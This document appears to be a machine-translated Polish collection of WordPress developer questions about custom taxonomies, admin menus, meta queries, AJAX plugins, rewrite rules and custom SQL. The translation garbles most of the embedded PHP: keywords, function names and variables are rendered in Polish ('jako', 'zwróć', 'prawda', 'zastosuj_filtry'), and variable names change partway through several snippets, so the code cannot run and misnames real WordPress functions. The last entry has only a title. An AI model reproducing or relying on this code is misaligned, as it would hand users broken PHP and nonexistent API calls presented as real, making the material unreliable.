title: Linki do listy taksonomii do pierwszego posta w tym terminie

text:
Mam niestandardowy typ postu „dzieła sztuki” i niestandardową taksonomię „artystów”. Na page-artists.php stworzyłem niestandardową listę wszystkich artystów i chciałbym powiązać nazwę każdego artysty z pierwszym postem związanym z tym terminem, zamiast przechodzić do strony tego terminu. To jest mój obecny kod: <?php while ( have_posts() ): the_post(); ?> <?php $args = array( 'post_type' => 'artworks', // zmień to na zarejestrowany typ posta 'posts_per_page' => 1, 'tax_query' => array( array( 'taxonomy' => 'artyści', 'pole' => 'id' ) ) ); $first_cat_post = get_posts($args); $terms = get_terms('artyści', $args); // lista artystów alfabetycznie według nazwiska $count = count($terms); $i=0; if ($count > 0) { $term_list = '
'; foreach ($warunki jako $warunki) { $i++; // pogrupuj terminy według pierwszej litery $this_char = strtoupper(substr($term->name,0,1)); if ($ten_znak != $ostatni_znak) { $ostatni_znak = $ten_znak; $term_list .= '

'.$last_char.'

'; } $termid = 'artyści_' . ($term->term_id); $termfirst = get_field('first_name', $termid); // powiąż nazwisko artysty z pierwszą pracą tego artysty $term_list .= '
slug, $term->taksonomia) . '" title="' .sprintf( __('Wyświetl wszystkie posty umieszczone w %s', 'my_localization_domain'), $term->name) '">' . $terminfirst . ' ' . $term->nazwa . '
'; } $term_list .= '
'; echo $term_list; } ?><?php endwhile; // koniec pętli. ?> Oto strona dewelopera. W tej chwili elementy listy terminów łączą się z tą stroną terminów, ale jest to 404. Ta odpowiedź wygląda obiecująco, ale nie wiem, w jakim pliku szablonu umieścić kod. Próbowałem umieścić ten kod: <?php /* Przekierowanie Do pierwszego dziecka */ if (have_posts()) { while (have_posts()) { the_post(); $pagekids = get_pages("child_of=".$post->ID."&sort_column=menu_order"); $pierwsze dziecko = $pagekids[0]; wp_redirect(get_permalink($firstchild->ID)); } } ?> w taxonomy-artists.php, ale nic się nie dzieje.


title: Podświetlanie stron podmenu administratora

text: Oto aktualna struktura menu/podmenu mojej wtyczki: add_menu_page('Sunshine', 'Sunshine', 'sunshine_manage_options', 'sunshine_admin', 'sunshine_dashboard_display', plugins_url( 'assets/images/sunshine-icon_pathin_.png')) ; add_submenu_page('sunshine_admin', __('Dashboard','sunshine'), __('Dashboard','sunshine'), 'sunshine_manage_options', 'sunshine_admin', 'sunshine_dashboard_display'); add_submenu_page('sunshine_admin', __('Ustawienia','sunshine'), __('Ustawienia','sunshine'), 'sunshine_manage_options', 'admin.php?page=sunshine'); $sunshine_admin_submenu = array(); $sunshine_admin_submenu[10] = array(__('Galerie','sunshine'), __('Galerie','sunshine'), 'sunshine_manage_options', 'edit.php?post_type=sunshine-gallery'); $sunshine_admin_submenu[20] = array(__('Kategorie produktów','sunshine'), __('Kategorie produktów','sunshine'), 'sunshine_manage_options', 'edit-tags.php?taxonomy=sunshine-product-category&post_type =produkt-słoneczny'); $sunshine_admin_submenu[30] = array(__('Produkty','sunshine'), __('Produkty','sunshine'), 'sunshine_manage_options', 'edit.php?post_type=sunshine-product'); $sunshine_admin_submenu[40] = array(__('Zamówienia','sunshine'), __('Zamówienia','sunshine'), 'sunshine_manage_options', 'edit.php?post_type=sunshine-order'); $sunshine_admin_submenu = zastosuj_filtry('sunshine_admin_menu', $sunshine_admin_submenu); ksort($sunshine_admin_submenu); foreach ($sunshine_admin_submenu as $item) { add_submenu_page('sunshine_admin', $item[0], $item[1], $item[2], $item[3], $item[4]); } Stosuję filtr na podmenu, ponieważ mam dodatki do mojej wtyczki, które mogą dodawać dodatkowe pozycje podmenu. Moje problemy pojawiają się ze stroną „Ustawienia” i taksonomią „Kategorie produktów”. Po kliknięciu zakładki „Ustawienia” lub taksonomii „Kategorie produktów” moje główne menu Sunshine nie otwiera się, aby wyświetlić wszystkie opcje podmenu. Jeśli kliknę „Galerie”, wszystko będzie dobrze widoczne, a wszystkie pozycje podmenu będą widoczne, a „Galerie” wyróżnione na biało/pogrubioną czcionką. Przeszukałem trochę i znalazłem temat pomocy, który skłonił mnie do zaimplementowania następujących elementów: function sunshine_submenu_show_fix($parent_file) { global $current_screen; $taksonomia = $bieżący_ekran->taksonomia; if ($taksonomia == 'kategoria-produktu-słonecznego') $plik_nadrzędny = 'admin_słoneczny'; return $plik_nadrzędny; } add_action('plik_nadrzędny', 'sunshine_submenu_show_fix'); Do tego dochodzi, gdy klikniesz na "Kategorie produktów" wszystkie pozycje podmenu są teraz widoczne, ale sama "Kategorie produktów" nie jest pogrubiona/biała jak "Galerie". Moim celem jest umożliwienie kliknięcia „Ustawienia” lub „Kategorie produktów” i wyświetlenie wszystkich elementów podmenu „Słońce”, a odpowiednia strona będzie wyświetlana na biało/pogrubioną czcionką.


title: Jak określić, który niestandardowy obraz nagłówka jest wyświetlany?

text: Używam dostosowanej wersji motywu Twenty Eleven. Chcę ustawić klasę na ciele, na podstawie której wyświetlany jest losowy obraz nagłówka. Czy jest jakaś funkcja, która pozwala mi uzyskać nazwę niestandardowego obrazu nagłówka, który zostanie wyświetlony? Moim celem jest stylizacja tekstu / tła / kolorów na podstawie wyświetlanego obrazu. **Edycja:** Użyłem odpowiedzi Briana, umieszczając kod `$header_image` przed tagiem `<body>`, a także wprowadziłem kilka zmian w pliku header.php. Musiałem zakomentować istniejące wywołanie `get_header_image()`: // Sprawdź, czy obraz nagłówka został usunięty //$header_image = get_header_image(); Zmieniłem również tag nagłówka `img`, aby używał zmiennej `$header_image` zamiast używać wywołania `header_image()` w celu uzyskania ścieżki do pliku: <img src="<?php /*header_image();*/ echo $obraz_nagłówka; ?>" szerokość="<?php echo HEADER_IMAGE_WIDTH; ?>" height="<?php echo HEADER_IMAGE_HEIGHT; ?>" alt="" />


title: Wstaw krótki kod przed i po liście automatycznie

text:
Konfiguruję niestandardowy szablon strony i buduję na nim widżet, który wyświetla albumy z listą utworów. Używam wtyczki, która pozwala mi rozszerzać tekst, którego używam do wyświetlania utworów z albumów po kliknięciu. Moim problemem jest za każdym razem dodawanie informacji dla różnych artystów. Pomysł polega na skonfigurowaniu widżetu w szablonie strony, a następnie wpisaniu elementów listy odwagi w niestandardowym polu, a następnie wywołaniu go w widżecie. Problemem jest dla mnie użycie skróconego kodu z wtyczki, która jest używana w elementach listy. Chciałbym więc automatycznie dołączyć krótki kod przed i po podrzędnym ul elementu listy. Jestem pewien, że to nie miało sensu, więc oto konfiguracja. kod na szablonie strony...

Albumy

 <?php echo $albumy; ?>

 oto to, co wywołuję w polu niestandardowym bez krótkiego kodu, który muszę wstawić automatycznie...

header..
 [DDET zobacz listę utworów]

Intro (wersja albumu) 00:06

What Up Gangsta [wersja albumu (edytowana) 02 :57

Wstęp (wersja albumu) 00:06

Wstęp (wersja albumu) 00:06

 [/DDET]

header..
 [DDET zobacz listę utworów]

Intro (wersja albumu) 00: 06

What Up Gangsta [wersja albumu (edytowana) 02:57

Intro (wersja albumu) 00:06

Intro (wersja albumu) 00:06

 [/DDET]
 Jak mogę pobrać tam [DDET][/DDET] z funkcją?


title: Pobierz błędy z WP_Error do różnych zmiennych

text: Dodałem wiele błędów w WP_ERROR. Chcę uzyskać te błędy osobno w różnych zmiennych. Za pomocą poniższego kodu mogę uzyskać wszystkie błędy z pętlą foreach, ale jak mogę przypisać je do oddzielnych zmiennych. Błędy, które dodałem, to „**login_error**” i „**email_error**”. <?php $zwrot = moja_niestandardowa_funkcja(); if ( is_wp_error($return) ){ foreach ( $return -> get_error_messages() as $error ) { echo $error; } } ?> Próbowałem to dodać w powyższej pętli: $login_error = apply_filters('login_error', $error); $email_error = apply_filters('email_error', $error); Ale przypisuje ten sam błąd do obu zmiennych. Edycja: Gdy formularz jest przesłany i jakiekolwiek pole zawiera błąd, dodaję błędy w ten sposób: $errors -> add( 'login_error', __( 'Proszę podać nazwę użytkownika' ) ); $errors -> add( 'email_error', __( 'Proszę wpisać swój adres e-mail.' ) ); if ( $errors->get_error_code() ){ return $errors; } Następnie chcę wyświetlić powyższe błędy obok każdego pola formularza, dlatego chcę uzyskać błędy osobno.


title: Uporządkuj według meta_klucza, gdzie wartość jest serializowana

text: Zamówiłbym post przez meta_key, ale mam problem z meta_value, ponieważ jest to obiekt serializowany. Zamówiłbym mój post według wartości licznika. a:2:{s:5:"count";d:9750;s:7:"timeout";i:1358466733;} Używam poniższego kodu, ale zamawiam poprawnie do wersji wp 3.4.2 po aktualizacji do 3.5 sort by date : if (have_posts()) : $args=array( 'meta_key' => 'tweets_count', 'orderby' => 'meta_value', 'showposts' => 10, ); zapytanie_posty($args); while (have_posts()) : the_post(); //żądanie stempla pętli: REQUEST:SELECT SQL_CALC_FOUND_ROWS wp_posts.ID FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'post' AND (wp_posts.post_status = 'publish' OR wp_posts.post_post_post = 'private')_ZAMÓWIENIE BY. LIMIT DESC 0, 10 Dzięki.


title: Jak zmienić ścieżkę wp_upload_dir() we wtyczce?

text: Używam jednej wtyczki do przesyłania wszystkich plików klienta. Domyślnie wszystkie przesyłane pliki przechowywane są w ścieżce wp-content/uploads/-plugin-name- . Jak przechowywać wszystkie moje pliki w moim niestandardowym katalogu, który gdzieś w katalogu głównym Wordpress.


title: Zagnieżdżony kod skrócony w środku [podpis] nie jest przetwarzany

text: Podpisy w wordpressie nie obsługują obecnie zagnieżdżonych krótkich kodów (`v3.6`). Tak więc, jeśli napiszę [podpis]<img src=""> Kocham moje [miasto][/podpis] Gdzie miasto ma być przetwarzane, ale tak się nie dzieje. **Jak to naprawić?** Bilet: #24990


title: Jak organizować strony i podstrony

text: Próbuję stworzyć stronę kościoła za pomocą WordPressa. Poniżej znajduje się mała próbka struktury strony, którą staram się stworzyć: **O** * Personel * Wyznanie Wiary * Kontakt **Ministerstwa** * Modlitwa Piecowa * Grupa Common Grounds * Transformacje * Grupa Młodzieżowa `O` i „Ministerstwa” nie są rzeczywistymi, fizycznymi stronami. Służą tylko jako logiczne grupowanie stron. Mając na uwadze tę strukturę, staram się osiągnąć kilka rzeczy, których nie jestem w stanie rozgryźć: * Chciałbym utworzyć pozycje menu „O” i „Ministries” w menu obejmującym całą witrynę. w nagłówku. Nie chcę jednak tworzyć typowego menu rozwijanego, które zawiera listę wszystkich stron pod każdą sekcją. Po prostu nie chcę, aby pozycja menu przenosiła użytkownika na pierwszą stronę pod każdą sekcją. Tak więc, jeśli użytkownik kliknie „O”, przeniesie go do „Personel”; a jeśli użytkownik kliknie „Ministerstwa”, przeniesie go do „Modlitwy piecowej”. * Na każdej stronie (personel, wyznanie wiary, kontakt, modlitwa piecowa itp.) będę miał pasek boczny. Na pasku bocznym chciałbym umieścić tekst sekcji strony jako nagłówek (dla „Personel” będzie to „O”, dla „Modlitwy przy piecu” będzie to „Ministerstwa”; itd.). Gdybym był w stanie tworzyć kategorie dla stron, zrobiłbym to; ale wygląda na to, że nie jestem w stanie tego zrobić za pomocą WordPressa. Jak więc rozwiązać powyższe problemy? Mógłbym prawdopodobnie stworzyć nadrzędną, pustą stronę, pod którą wstawiłbym podstrony, a następnie link do pierwszej podstrony w menu, ale nie wydaje się to poprawnym sposobem na zrobienie rzeczy. Mam nadzieję, że to ma sens. Jeśli potrzebuję doprecyzować pytania, daj mi znać.


title: Przekazywanie wartości jako ukrytego parametru do następnej strony

text: Próbuję wysłać wartość z jednej strony na inną w WordPressie, ponieważ nie chcę powtarzać logiki, aby pobrać tę wartość na innej stronie. Nie jestem zbyt biegły w WordPress/PHP, jeśli będę musiał to zrobić w Javie, utworzę ukryte pole i przekażę tę wartość do kodu po stronie serwera, a stamtąd mogę ponownie ustawić ją jako parametr żądania, nie jestem pewien, jak to osiągnąć w WordPressie z pomocą PHP. Mam stronę i link "zobacz więcej" w prawym panelu nawigacyjnym, gdy użytkownik kliknie link, zostanie przekierowany na inną stronę, ale muszę pokazać informacje na podstawie wartości ze strony nadrzędnej Użytkownik jest przekierowywany na podstawie na jakiejś regule przepisywania i wybieram kilka wartości za pomocą `get_query_var()`. Mogę to zrobić, dodając ten parametr jako parametr zapytania, ale nie chcę zmieniać bieżącego generowanego adresu URL. Oto więcej informacji na temat mojego przypadku użycia: Witryna, na której pracuję, jest związana z podróżami i wyświetlam zalecenia dotyczące miejsc docelowych na kilku stronach na pasku po prawej stronie, w przypadku układu interfejsu użytkownika nie pokazuję wszystkich zaleceń, ale niewielu mówi _ "10"_ i wtedy podaję link _"Sprawdź wszystkie rekomendacje"_. Kiedy użytkownik ląduje na określonej stronie, pobieram kategorie przypisane do tego postu i możliwe jest posiadanie wielu kategorii, np. 1. stacja górska 2. przygoda itp. W oparciu o te kategorie pokazuję im rekomendacje, więc gdy użytkownik kliknie kliknięcie, które chcę przekazać informacje o tej kategorii na następną stronę, abym mógł pokazać im listę kwalifikujących się miejsc docelowych. Czy istnieje inny sposób przekazania wartości do nowej strony poza ustawieniem wartości w sesji?


title: jak mogę wstawić link na stronie logowania?

text: Chcę wstawić link na stronie logowania pomiędzy przyciskiem Zaloguj a polem hasła, Czy to możliwe? jeśli to możliwe, jakie działanie muszę podpiąć?


title: pobierz klucz meta, gdy używane jest pole wyboru

text: Utworzyłem metabox z wartością "home" typu checkbox, jednak mam trudności z pobraniem do pętli, używam tego kodu do pętli: <?php if(get_post_meta(get_the_ID(), 'home ') == '1' ): ?>  <?php endif; ? Jakieś pomysły? Dziękuję za zaawansowane **UPDATE** Opcje strony kod $meta_boxes[] = array( 'id' => 'opcje-stron', 'title' => __('Układ strony', 'andrewslab'), 'pages' = > array('strona'), 'context' => 'normal', 'priority' => 'high', 'fields' => array( array( 'name' => __('Home', 'andrewslab') , 'id' => 'home', 'type' => 'checkbox', 'desc' => 'Wyświetl na stronie głównej', 'std' => '' ) ) ); Kod szablonu <?php global $wp_query; $args = array_merge( $wp_query->query, array( 'post_type' => 'strona' , 'showposts' => '4') ); zapytanie_posty( $args ); ?> <?php while (have_posts()) : the_post(); $meta = get_post_meta( get_the_ID(), 'home', true ); ?> <?php if( zaznaczone( $meta, 1, fałsz ) ) : ?>  <?php endif ?> <?php endwhile; ?> <?php wp_reset_query() ?> W zasadzie muszę wejść do pętli tylko wtedy, gdy checkbox jest zaznaczony.


title: Jak mogę przykleić niestandardowy typ posta?

text:
Zainstalowałem wtyczkę "Sticky Custom Post Types" i dodałem ten kod do mojego `function.php`: function wpb_cpt_sticky_at_top( $posts ) { // zastosuj go do archiwów tylko jeśli ( is_main_query() && is_post_type_archive() ) { globalne $wp_query; $sticky_posts = get_option( 'sticky_posts' ); $liczba_postów = liczba( $posty ); $sticky_offset = 0; // Znajdź przyklejone posty dla ($i = 0; $i < $num_posts; $i++) { // Umieść przyklejone posty na górze tablicy posts if ( in_array( $posts[$i]->ID, $ przyklejony_post ) ) { $przyklejony_post = $posty[$i]; // Usuń przyklejone z bieżącej pozycji array_splice( $posts, $i, 1 ); // Przenieś na przód, za innymi karteczkami przylepnymi array_splice( $posts, $sticky_offset, 0, array($sticky_post) ); $lepkie_przesunięcie++; // Usuń post z przyklejonych postów array $offset = array_search($sticky_post->ID, $sticky_posts); unset( $sticky_posts[$offset] ); } } // W razie potrzeby poszukaj więcej przyklejonych postów if ( !empty( $sticky_posts) ) { $stickies = get_posts( array( 'post__in' => $sticky_posts, 'post_type' => $wp_query->query_vars['post_type' ], 'post_status' => 'opublikuj', 'nopaging' => prawda ) ); foreach ( $stickies as $sticky_post ) { array_splice( $posts, $sticky_offset, 0, array( $sticky_post ) ); $lepkie_przesunięcie++; } } } return $posts; } add_filter( 'posty', 'wpb_cpt_sticky_at_top' ); // Dodaj przyklejoną klasę w tytule artykułu, aby inaczej stylizować przyklejane posty function cpt_sticky_class($classes) { if ( is_sticky() ) : $classes[] = 'sticky'; zwróć $klasy; endif; zwróć $klasy; } add_filter('post_class', 'cpt_sticky_class'); W desce rozdzielczej wszystko działało, ale na mojej stronie nic się nie działo. To jest mój kod, który wyświetlał zawartość mojej strony głównej:
 <?php include (SCIEŻKA SZABLONU . '/lib/slider.php'); ?> <?php $temp = $wp_query; $wp_query= null; $wp_query = nowe WP_Query(); $wp_query->query('post_type=listings'.'&paged='.$paged); ?> <?php while ($wp_query->have_posts()) : $wp_query->the_post(); ?> <div class="post propbox <?php if (++$counter % 2 == 0) { echo "lastbox"; }?> clearfix" id="post-<?php the_ID(); ?>" >
 <?php if( has_term( 'polecane', 'typ', $post->ID )) { ?> polecane <?php } else if ( has_term( 'sprzedane', 'typ', $post->ID ) ){ ?> Sprzedane <?php } else if ( has_term( 'zredukowane', 'typ', $post->ID ) ){ ?> Zredukowany <?php } ?> <?php if ( has_post_thumbnail() ) { ?> <a href=" <?php the_permalink() ?>"><img class="propimg" src="<?php bloginfo('stylesheet_directory'); ?>/timthumb.php?src=<?php get_image_url(); ?>&h= 180&w=310&zc=1" alt=""/> <?php } else { ?> <a href="<?php the_permalink() ?>"><img class="propimg" src="< ?php bloginfo('katalog_szablonu'); ?>/images/dummy.jpg" alt="" /> <?php } ?>

<a href="<?php the_permalink() ?>" rel="zakładka" title="Stały link do <?php the_title(); ?>"><?php the_title(); ?>

Cena  <?php $price=get_post_meta($post->ID, 'wtf_price', true); echo $cena; ?>

 Lokalizacja  <?php echo get_the_term_list($post->ID, 'lokalizacja', '', ' ', '' ); ?>

Typ właściwości <?php echo get_the_term_list( $post->ID, 'property', '', ' ', ' ' ); ?>

Obszar  <?php echo get_the_term_list( $post->ID, ' obszar', '', ' ', '' ); ?>

 <?php wpe_excerpt('wpe_excerptlength_archive', ''); ?> <a class="morer" href="<?php the_permalink() ?>">Sprawdź to

 <?php na koniec; >

 <?php getpagenavi(); ?> <?php $wp_query = null; $wp_query = $temp;?>


title: Jak stworzyć niestandardową trasę z dowolnym ciągiem/numerem wskazującym na istniejącą stronę?

text: Mam stronę z moim własnym widżetem w środku, która potrzebuje kilku parametrów z adresu URL, aby wygenerować dynamiczne wyniki bazy danych - nie martw się, wszystko jest dobrze odkażone i wypuszczam tę część, aby zachować tę szczupłą i skoncentrowaną na trasach, które jest dla mnie kluczową częścią (bycie nowicjuszem wp). Czy można ustawić niestandardową trasę w WP z ciągiem i liczbą w środku i pozwolić jej wskazywać na istniejącą stronę identyfikowaną przez slug? Znalazłem gdzieś przykłady tras, ale nie z ciągiem znaków wieloznacznych i pracuję tylko z szablonami - w tym przypadku potrzebuję strony jako punktu końcowego. W **laravel 3** zrobiłbym to, co następuje: // Wywołanie następującego adresu URL: // http://mypage.com/items/my-red-toy/123 // // Wyprodukuje: // You String is : moja-czerwona-zabawka // Numer to: 123 Route::get('pageslug/(:any)/(:num)', function($anystring, $number) { echo "Twój ciąg to: ".$ dowolnyciąg;echo "Liczba to: ".$liczba; }); Lub jako regułę przepisywania w .htaccess (nawet jeśli nie jest to ładne rozwiązanie...): RewriteRule ^items/([a-z]*)?/?([0-9]*)?/?$ /items [L] This reguła przepisywania działałaby na moich zwykłych stronach php, ale działa tylko częściowo w wp. Będzie działać z: http://mypage.com/items/12314, ale nie z http://mypage.com/items/my-red-toy ani z http://mypage.com/items/my-red -toy/1231 Wydaje się, że dozwolony jest tylko jeden segment uri z numerami w środku. Czy ktoś mógłby wskazać mi rozwiązanie? Jestem nowy w Wordpressie, więc nie wiem od czego zacząć...


title: Wtyczka kompilacji i ajax nie działa

text: Mam ten kod na funkcji wtyczki ajaxp_init(){ /* * registro del script */ wp_deregister_script('jquery'); wp_register_script( 'jquery', 'http://code.jquery.com/jquery-latest.pack.js', false, '' ); //zachowaj zgodność z jQuery i Prototype $url = get_bloginfo('wpurl').'/wp-content/plugins/pablowishlist'; wp_register_script( 'jquery_no_conflict', $url . '/pablowishlist.js', array( 'jquery' ), '' ); wp_enqueue_script( 'jquery_no_conflict' ); globalny $post; wp_localize_script('jquery_no_conflict','MyAjax', array( 'postId' => $post->ID, 'action' => 'ajaxp_add_wishlist' )); //wp_register_script( 'pablowishlist-js', get_template_directory_uri() . '/js/pablowishlist.js', array( 'jquery' ), '2.2.1', false ); //wp_register_script('pablowishlist-js', plugins_url('pablowishlist.js',__FILE__), array('jquery')); // funkcja wordpress que registra un código, javascript. /* * ładowanie skryptu */ //wp_enqueue_scripts('jquery'); //wp_enqueue_scripts('pablowishlist-js'); } i plik JavaScript w tym samym katalogu jQuery(document).ready(function($){ $('#ajaxp_add_wishlist').click(function(e){ //alert('hola'); $.post(document .location.protocol+'//'+document.location.host+'/wp-admin/admin-ajax.php', MyAjax, function(odpowiedź){ alert(odpowiedź); }); }); }); Ale kiedy klikam w przycisk `ajaxp_add_wishlist` nic się nie dzieje. Co jest nie tak?


title: Rozszerz wyszukiwanie Wordpress

text: Używałem wtyczki, która tworzy własne tabele w bazie danych do przechowywania menu restauracji. Czy jest jakiś sposób, aby włączyć funkcję wyszukiwania WP, aby zwracała z niej pasujące wyniki wraz ze zwykłymi postami?


title: Niestandardowe filtrowanie tylko na podstawie wartości miesiąca z całego pola daty

text: Używam wtyczki Ajax WP Query Search Filter (http://wordpress.org/plugins/ajax-wp-query-search-filter/) do wyszukiwania niestandardowych postów, które utworzyłem. Filtr działa świetnie w trzech niestandardowych taksonomii, jednak chcę również włączyć filtr w polu daty, w którym przechowywana jest pełna data. Preferowany przeze mnie filtr to lista rozwijana zawierająca każdy miesiąc, na przykład: * Sty * Luty * Mar * Kwi * Maj * ... itd... Spowoduje to przeszukanie pola daty według jego wartości miesiąca. Moje pytanie brzmi: jak to zrobić? * dd/mm/rrrr Wiem, że mogę utworzyć filtr niestandardowego pola meta, ale jak sprawić, by wyszukiwał tylko część miesiąca? Dzięki Chris.


title: Dane wejściowe są usuwane/nadpisywane po zmianie na inne menu administratora

text: Po dodaniu menu wtyczek i zapisaniu danych w bazie danych wszystko działa dobrze i zostaje zapisane, nawet jeśli odświeżę bieżącą stronę. Jednak po przejściu do innych menu w panelu administracyjnym Wordpress i powrocie do menu wtyczek moje dane wejściowe zostaną usunięte. Co powoduje ten problem? **Functions.php** Dodawanie elementu do menu function plugin_admin_exist() { add_menu_page('plugin', 'plugin', 'manage_options', 'plugin', 'plugin_Dashboard', plugins_url( 'plugin/images/icon.png' )); } add_action('admin_menu', 'plugin_admin_exist'); **Funkcja menu:** Zewnętrzny plik .php dla moich tagów html i skryptów php. funkcja admin_Dashboard() {ob_start(); wymagać ( plugin_dir_path( __FILE__ ). 'dashboard.php'); } **Konfiguracja bazy danych** Utwórz bazę danych związaną z moimi polami wejściowymi. if (get_option('Plugin_Master_Run')) { $AdminOption = get_option('Plugin_Master_Run'); } else { add_option('Plugin_Master_Run', array( 'plugin_profile' => '', 'plugin_googleFont' => '', 'plugin_browserIcon' => '', 'plugin_regularMobile' => '', 'plugin_retinaMobile' => '' , 'plugin_logo' => '', 'plugin_retinaLogo' => '' )); } **Wpis na stronie zewnętrznej dla opcji menu:** Zadeklarowałem już `$AdminOption` jako zmienną globalną i dołączyłem nową tablicę z `htmlentities($_POST['plugin_profile'], ENT_QUOTES),` dla `update_option(' Plugin_Master_Run', $newAdminValue);` i pobierz nowe dane wejściowe przez `$AdminOption = $newAdminValue;` <input name="Admin_profile" value="<?php echo $AdminOption['plugin_profile']; ?>" type=" tekst"/>


title: Jak wywołać kategorie Shortcode dla niestandardowych typów postów?

text:
Cześć Próbuję zrobić coś dość trudnego w moim motywie Wordpress. Jestem bardziej projektantem front-end, więc jest to trochę zgadywania z php. Każdy ma pomysł, dlaczego ten kod wyświetla tylko jeden slajd. Chcę, aby uruchomił pokaz slajdów z wieloma slajdami z jednej kategorii w moim motywie. Dziękujemy za pomoc //Dodaj funkcję Nivo Short Codes nivo_slider_function($atts){ extract(shortcode_atts(array( 'posts' => 5, 'category' => '' ), $atts)); $args = array( 'numberposts' => -1, 'orderby' => 'menu_order', 'order' => 'ASC', 'post_type' => 'homepage_slider' ); if ( ! empty( $category ) ) { $args['category_name'] = $category; } $posts = get_posts( $args ); $homepage_slider = '
'; //Otwórz kontener foreach ( $posts as $post ) { // Generuj znaczniki dla każdego pytania $homepage_slider .= sprintf(('
%1$s

%2$s
'), $post->post_title, wpautop($post->post_content) ); } $homepage_slider .= '
'; //Zamknij kontener $return_string = '
'; query_posts(array('post_type' => 'homepage_slider', 'orderby' => 'menu_order', 'order' => 'ASC' , 'showposts' => $posts)); if (have_posts()) : while (have_posts()) : the_post(); $slider_img_src = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'homepage-slide', false); $target_link = get_post_meta(get_the_ID(), 'slide_target_link', prawda); $return_string .= ''; koniec; endif; $return_string .= '
'; wp_reset_query(); return $ciąg_powrotu; } function register_shortcodes(){ add_shortcode('slider-demo', 'nivo_slider_function'); } add_action( 'init', 'register_shortcodes'); * * * To był oryginalny kod zaczerpnięty z komentarza na tej stronie. Po przejściu samouczka suwaka chciałem użyć shortcode, aby opublikować go na dowolnej stronie zamiast szablonu, ale chciałem też różnych pokazów slajdów, więc powyżej próbowałem dodać możliwość łączenia pokazów slajdów z kategoriami. http://willrees.com/2013/05/create-and-manage-a-nivo-slider-using-wordpress- custom-post-types/ function nivo_slider_function($atts){ extract(shortcode_atts(array( 'posts') => 5, ), $atty)); $return_string = '
'; query_posts(array('post_type' => 'homepage_slider', 'orderby' => 'menu_order', 'order' => 'ASC' , 'showposts' => $posts)); if (have_posts()) : while (have_posts()) : the_post(); $slider_img_src = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'homepage-slide', false); $target_link = get_post_meta(get_the_ID(), 'slide_target_link', prawda); $return_string .= ''; koniec; endif; $return_string .= '
'; wp_reset_query(); return $ciąg_powrotu; } function register_shortcodes(){ add_shortcode('slider-demo', 'nivo_slider_function'); } add_action( 'init', 'register_shortcodes');


title: WP_Query i wyszukiwanie według post_type przy użyciu param „s” i relevanssi_do_query

text: Muszę WYSZUKIWAĆ według niestandardowego post_type i słowa kluczowego, ale nie mogę uzyskać wyników :'( $args = array('post_type' => array('games_searches'), 'posts_per_page' => 10, 's'=>' a'); $loop = new WP_Query( $args ); relevanssi_do_query($loop); while ($loop->have_posts() ) { $loop->the_post(); echo get_the_title()."<br>"; } Jakieś pomysły? dzięki


title: Nie znaleziono ekranu instalacji wtyczki

text: Próbowałem dodać nową wtyczkę, przechodząc do http://domain.com/wp-admin/plugin-install.php Ale to daje mi błąd „Błąd 404 - Nie znaleziono strony”, który jest wyświetlany przy użyciu motywu Plik 404 (to właśnie rozumiem, ponieważ strona dostosowuje stylizację motywu). To samo dzieje się, gdy próbuję załadować update-core.php , themes.php itp. Masz pomysł, dlaczego tak się dzieje? **UPDATE** Zaktualizowałem mój plik `wp-config.php` w celu debugowania i wyświetla się następujące powiadomienie. `Uwaga: Próba pobrania właściwości nie-obiektu w /home/travel5b/public_html/wp-includes/post-template.php w wierszu 29.


title: Czy mogę uzyskać automatycznie wypełnianą listę rozwijaną innych niestandardowych postów na niestandardowej stronie edycji posta?

text: Mam niestandardowy typ posta, a w jednym z niestandardowych meta-pól chciałbym przedstawić rozwijaną listę innych (opublikowanych) niestandardowych postów, aby połączyć dwa niestandardowe posty. W szczególności mam typ Film, a niektóre filmy są wyświetlane jako podwójne funkcje z innymi filmami. Obecnie mam tylko pole na identyfikator posta drugiego filmu, a mój szablon ręcznie obsługuje linkowanie do tego adresu URL. Ale o wiele bardziej przyjazna dla użytkownika byłaby lista rozwijana z tytułami wcześniej opublikowanych Filmów. Jak mam to zrobić?


title: Zmieniłem post_type i teraz otrzymuję błędy 404

text: Zmieniłem niestandardowy post_type na inną nazwę. Teraz, gdy przeglądam pojedynczą stronę z post_typem, otrzymuję stronę 404. Jak debugować? Czy istnieje dziennik WP, w którym mogę wyświetlić wywołanie funkcji?


title: Hostować wp-admin w innej domenie?

text: Obecnie mam klienta, który ma WordPressa działającego na, powiedzmy, `www.example.com`. Pracuję nad nową wersją przy użyciu innej technologii/języka, która będzie hostowana na innym serwerze.. Ale administracja (WP) i baza danych pozostaną na starym serwerze. Więc w zasadzie będę musiał wskazać adres `www.example.com` na nowy host (tu nie ma problemu) i utworzyć poddomenę, taką jak `admin.example.com`, która będzie wskazywać na stary serwer z instalacją WP. Obawiam się, że spowoduje to bałagan w bazie danych podczas przechowywania `opcji` i `guidów` dla postów i adresów URL załączników... Będą one przechowywane jako `admin.example.com` a nie `www.example.com `, mam rację? Jak sprawić, by wp-admin działał na `admin.example.com` i przechowywał adresy URL w bazie danych jako `www.example.com`? To zadziała również w przypadku linków do podglądu?


title: problem z zapytaniem o pobranie następnych i poprzednich postów

text: Jestem nowy w wordpressie. Mam problem z zapytaniem, które napisałem, aby pobrać poprzednie i następne posty. (Sprawdzam $ sql = " SELECT * FROM wp_posts WHERE post_date < ( SELECT post_date FROM wp_posts WHERE ID = {$id} ) LIMIT 1 UNION SELECT * FROM wp_posts WHERE post_date > ( SELECT post_date FROM wp_posts WHERE ID = {$id} ) LIMIT 1 "; $wpdb->query($sql); $arrPosts = $wpdb->last_result; Ale otrzymuję tylko jeden post w $arrPosts. (Wiem, że jest ich więcej niż dwa). Co się dzieje?


title: Chcę dodać moje niestandardowe zapytanie przygotowawcze, ale add_filter nie działa

